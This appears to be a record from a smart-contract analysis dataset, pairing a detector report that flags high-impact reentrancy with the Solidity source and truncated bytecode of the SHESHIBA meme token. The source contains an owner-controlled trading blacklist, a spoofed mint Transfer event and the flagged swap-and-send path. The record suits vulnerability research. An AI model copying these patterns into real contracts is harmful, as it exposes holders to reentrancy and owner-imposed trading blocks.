fffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cfd57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d2430610cef565b9050611d786064611d6a601254611d5c601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b811115611dd457611dd16064611dc3601254611db5601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e3f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e575750601460169054906101000a900460ff165b15611e7f57611e6581612093565b60004790506000811115611e7d57611e7c47611fb9565b5b505b505b611e8c83838361230c565b505050565b6000838311158290611ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed091906129dd565b60405180910390fd5b5060008385611ee891906134c0565b9050809150509392505050565b6000808303611f075760009050611f69565b60008284611f1591906134f4565b9050828482611f24919061357d565b14611f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5b90613620565b60405180910390fd5b809150505b92915050565b6000611fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231c565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612021573d6000803e3d6000fd5b5050565b600060095482111561206c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612063906136b2565b60405180910390fd5b600061207661237f565b905061208b8184611f6f90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cb576120ca612bb3565b5b6040519080825280602002602001820160405280156120f95781602001602082028036833780820191505090505b509050308160008151811061211157612110612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121dc91906130cf565b816001815181106121f0576121ef612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225730601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611722565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122bb959493929190613790565b600060405180830381600087803b1580156122d557600080fd5b505af11580156122e9573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123178383836123aa565b505050565b60008083118290612363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235a91906129dd565b60405180910390fd5b5060008385612372919061357d565b9050809150509392505050565b600080600061238c612575565b915091506123a38183611f6f90919063ffffffff16565b9250505090565b6000806000806000806123bc876125da565b95509550955095509550955061241a86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266f90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124af85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124fb81612717565b61250584836127d4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125629190612b93565b60405180910390a3505050505050505050565b60008060006009549050600069021e19e0c9bab240000090506125ad69021e19e0c9bab2400000600954611f6f90919063ffffffff16565b8210156125cd5760095469021e19e0c9bab24000009350935050506125d6565b81819350935050505b9091565b60008060008060008060008060006125f061280e565b61260e576126098a600b60020154600b60030154612825565b612624565b6126238a600b60000154600b60010154612825565b5b925092509250600061263461237f565b905060008060006126478e8787876128bb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e91565b905092915050565b60008082846126c89190612f81565b90508381101561270d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270490613836565b60405180910390fd5b8091505092915050565b600061272161237f565b905060006127388284611ef590919063ffffffff16565b905061278c81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e98260095461266f90919063ffffffff16565b60098190555061280481600a546126b990919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128516064612843888a611ef590919063ffffffff16565b611f6f90919063ffffffff16565b9050600061287b606461286d888b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b905060006128a482612896858c61266f90919063ffffffff16565b61266f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128d48589611ef590919063ffffffff16565b905060006128eb8689611ef590919063ffffffff16565b905060006129028789611ef590919063ffffffff16565b9050600061292b8261291d858761266f90919063ffffffff16565b61266f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561297e578082015181840152602081019050612963565b8381111561298d576000848401525b50505050565b6000601f19601f8301169050919050565b60006129af82612944565b6129b9818561294f565b93506129c9818560208601612960565b6129d281612993565b840191505092915050565b600060208201905081810360008301526129f781846129a4565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3e82612a13565b9050919050565b612a4e81612a33565b8114612a5957600080fd5b50565b600081359050612a6b81612a45565b92915050565b6000819050919050565b612a8481612a71565b8114612a8f57600080fd5b50565b600081359050612aa181612a7b565b92915050565b60008060408385031215612abe57612abd612a09565b5b6000612acc85828601612a5c565b9250506020612add85828601612a92565b9150509250929050565b60008115159050919050565b612afc81612ae7565b82525050565b6000602082019050612b176000830184612af3565b92915050565b60008060008060808587031215612b3757612b36612a09565b5b6000612b4587828801612a92565b9450506020612b5687828801612a92565b9350506040612b6787828801612a92565b9250506060612b7887828801612a92565b91505092959194509250565b612b8d81612a71565b82525050565b6000602082019050612ba86000830184612b84565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612beb82612993565b810181811067ffffffffffffffff82111715612c0a57612c09612bb3565b5b80604052505050565b6000612c1d6129ff565b9050612c298282612be2565b919050565b600067ffffffffffffffff821115612c4957612c48612bb3565b5b602082029050602081019050919050565b600080fd5b6000612c72612c6d84612c2e565b612c13565b90508083825260208201905060208402830185811115612c9557612c94612c5a565b5b835b81811015612cbe5780612caa8882612a5c565b845260208401935050602081019050612c97565b5050509392505050565b600082601f830112612cdd57612cdc612bae565b5b8135612ced848260208601612c5f565b91505092915050565b600060208284031215612d0c57612d0b612a09565b5b600082013567ffffffffffffffff811115612d2a57612d29612a0e565b5b612d3684828501612cc8565b91505092915050565b600080600060608486031215612d5857612d57612a09565b5b6000612d6686828701612a5c565b9350506020612d7786828701612a5c565b9250506040612d8886828701612a92565b9150509250925092565b600060208284031215612da857612da7612a09565b5b6000612db684828501612a5c565b91505092915050565b600060ff82169050919050565b612dd581612dbf565b82525050565b6000602082019050612df06000830184612dcc565b92915050565b600060208284031215612e0c57612e0b612a09565b5b6000612e1a84828501612a92565b91505092915050565b612e2c81612ae7565b8114612e3757600080fd5b50565b600081359050612e4981612e23565b92915050565b600060208284031215612e6557612e64612a09565b5b6000612e7384828501612e3a565b91505092915050565b612e8581612a33565b82525050565b6000602082019050612ea06000830184612e7c565b92915050565b60008060408385031215612ebd57612ebc612a09565b5b6000612ecb85828601612a5c565b9250506020612edc85828601612a5c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f1c60208361294f565b9150612f2782612ee6565b602082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8c82612a71565b9150612f9783612a71565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fcc57612fcb612f52565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061301182612a71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304357613042612f52565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061308460178361294f565b915061308f8261304e565b602082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b6000815190506130c981612a45565b92915050565b6000602082840312156130e5576130e4612a09565b5b60006130f3848285016130ba565b91505092915050565b60006040820190506131116000830185612e7c565b61311e6020830184612e7c565b9392505050565b6000819050919050565b6000819050919050565b600061315461314f61314a84613125565b61312f565b612a71565b9050919050565b61316481613139565b82525050565b600060c08201905061317f6000830189612e7c565b61318c6020830188612b84565b613199604083018761315b565b6131a6606083018661315b565b6131b36080830185612e7c565b6131c060a0830184612b84565b979650505050505050565b6000815190506131da81612a7b565b92915050565b6000806000606084860312156131f9576131f8612a09565b5b6000613207868287016131cb565b9350506020613218868287016131cb565b9250506040613229868287016131cb565b9150509250925092565b60006040820190506132486000830185612e7c565b6132556020830184612b84565b9392505050565b60008151905061326b81612e23565b92915050565b60006020828403121561328757613286612a09565b5b60006132958482850161325c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132fa60248361294f565b91506133058261329e565b604082019050919050565b60006020820190508181036000830152613329816132ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061338c60228361294f565b915061339782613330565b604082019050919050565b600060208201905081810360008301526133bb8161337f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061341e60298361294f565b9150613429826133c2565b604082019050919050565b6000602082019050818103600083015261344d81613411565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061348a601a8361294f565b915061349582613454565b602082019050919050565b600060208201905081810360008301526134b98161347d565b9050919050565b60006134cb82612a71565b91506134d683612a71565b9250828210156134e9576134e8612f52565b5b828203905092915050565b60006134ff82612a71565b915061350a83612a71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354357613542612f52565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612a71565b915061359383612a71565b9250826135a3576135a261354e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061360a60218361294f565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061369c602a8361294f565b91506136a782613640565b604082019050919050565b600060208201905081810360008301526136cb8161368f565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61370781612a33565b82525050565b600061371983836136fe565b60208301905092915050565b6000602082019050919050565b600061373d826136d2565b61374781856136dd565b9350613752836136ee565b8060005b8381101561378357815161376a888261370d565b975061377583613725565b925050600181019050613756565b5085935050505092915050565b600060a0820190506137a56000830188612b84565b6137b2602083018761315b565b81810360408301526137c48186613732565b90506137d36060830185612e7c565b6137e06080830184612b84565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613820601b8361294f565b915061382b826137ea565b602082019050919050565b6000602082019050818103600083015261384f81613813565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204024bffde790b50fb771e0f5fbd79f482228d9fa813696e058154e1a9652c1ca64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,638 |
0x72cc8556bc62c7c35096be0271f230f505816b09
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
pragma solidity ^0.8.4;
// t.me/sheshiba
// She Shiba
// SHESHIBA
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHESHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "She Shibar";
string private constant _symbol = unicode'SHESHIBA';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0x9bb036744932dafB237bCe3dF833cecE9F20DF8D), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600a81526020017f5368652053686962617200000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348455348494241000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080f